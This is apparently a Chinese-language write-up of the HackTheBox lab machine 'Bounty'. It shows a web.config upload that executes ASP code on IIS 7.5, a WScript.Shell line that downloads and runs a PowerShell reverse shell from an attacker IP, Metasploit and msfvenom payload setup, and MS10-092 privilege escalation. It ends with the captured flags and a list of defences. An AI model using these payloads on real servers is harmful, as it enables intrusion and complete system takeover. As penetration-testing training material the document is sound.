[Meachines] [Easy] bounty web.config 文件上传代码注入+内核MS10-092权限提升
字数 971 2025-08-20 18:18:40
IIS web.config 文件上传漏洞利用与权限提升教学文档
1. 信息收集阶段
1.1 初始扫描
使用Nmap进行端口扫描:
nmap -p- 10.10.10.93 --min-rate 1000 -sC -sV
发现开放端口:
- 80/tcp: Microsoft IIS httpd 7.5
1.2 目录爆破
使用feroxbuster进行目录扫描:
feroxbuster -u http://10.10.10.93/ -x asp,aspx,txt -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -t 100 -s 200,301 -n
2. 漏洞发现与利用
2.1 文件上传测试
发现可以上传文件到/UploadedFiles/目录,但无法直接执行上传的ASPX文件。
2.2 文件后缀爆破
通过Burp Suite爆破发现.config后缀文件允许上传。
2.3 web.config文件注入
上传包含恶意代码的web.config文件:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>
<!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
<%Response.write("it is running the ASP code if you can see 3 by opening the web.config file!")
Response.write(1+2)
Response.write("
访问http://10.10.10.93/uploadedfiles/web.config验证代码执行。
2.4 获取反向Shell
- 准备PowerShell反向Shell脚本:
wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1
echo 'Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.24 -Port 10032'>>Invoke-PowerShellTcp.ps1
- 上传修改后的web.config文件:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>
<%@ Language=VBScript %>
<% call Server.CreateObject("WSCRIPT.SHELL").Run("cmd.exe /c powershell.exe -c iex(new-object net.webclient).downloadstring('http://10.10.16.24/Invoke-PowerShellTcp.ps1')")%>
- 访问上传的web.config文件触发反向Shell连接。
3. 权限提升
3.1 初始访问
获取到meterpreter会话后,查看用户权限和系统信息:
systeminfo
3.2 使用Metasploit进行权限提升
- 设置监听器:
msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 10033
run
- 生成payload:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.24 LPORT=10033 -f psh -o recv.ps1
- 在目标机器上下载并执行payload:
iex(new-object net.webclient).downloadstring('http://10.10.16.24/recv.ps1')
3.3 漏洞扫描
使用Metasploit的本地漏洞扫描模块:
use multi/recon/local_exploit_suggester
set session 2
run
3.4 利用MS10-092漏洞提权
use windows/local/ms10_092_schelevator
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.16.24
set session 2
set AutoCheck false
run
4. 获取flag
- 用户flag:
be952a25cdc0106a03cbc3deb5d7fd19 - 系统flag:
2191c45301ab454267720c13689e9b8c
5. 关键点总结
- IIS 7.5允许上传web.config文件并执行ASP代码
- 通过修改web.config的handlers配置可以绕过安全限制
- 使用PowerShell反向Shell获取初始访问权限
- MS10-092 (Task Scheduler漏洞)可用于权限提升
- 使用Metasploit的local_exploit_suggester模块可以快速识别可利用的本地漏洞
6. 防御措施
- 限制web.config文件的上传和修改
- 禁用不必要的HTTP方法
- 及时安装Windows安全更新
- 限制服务器上的脚本执行权限
- 实施严格的输入验证和文件上传过滤